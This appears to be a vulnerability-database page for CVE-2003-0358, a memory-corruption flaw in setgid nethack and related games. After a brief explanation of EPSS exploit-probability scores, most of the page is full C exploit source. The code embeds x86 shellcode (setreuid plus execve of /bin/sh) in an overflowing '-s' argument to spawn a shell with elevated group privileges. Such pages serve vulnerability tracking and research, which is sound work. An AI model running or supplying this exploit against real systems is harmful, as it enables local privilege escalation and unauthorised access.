CVE-2003-0358 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/6806/info By passing an overly large string when invoking nethack, it is possible to corrupt memory. By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges. slashem, jnethack and falconseye are also prone to this vulnerability. /* tsao@efnet #!IC@efnet 2k3 thnx to aleph1 for execve shellcode & davidicke for setreuid() shellcode */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> char code[] = "\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char **argv) { char *p; int i, off; p = malloc(sizeof(char) * atoi(argv[1])); memset(p,0x90,atoi(argv[1])); off = 220 - strlen(code); printf("shellcode at %d->%d\n",off,off+strlen(code)); for(i=0;i<atoi(argv[1]);i++) p[i+off] = code[i]; *(long *) &p[220] = sp() - atoi(argv[2]); printf("Using %x\n",sp() - atoi(argv[2])); execl("/usr/games/lib/nethackdir/nethack","nethack","-s",p,0); perror("wtf"); }
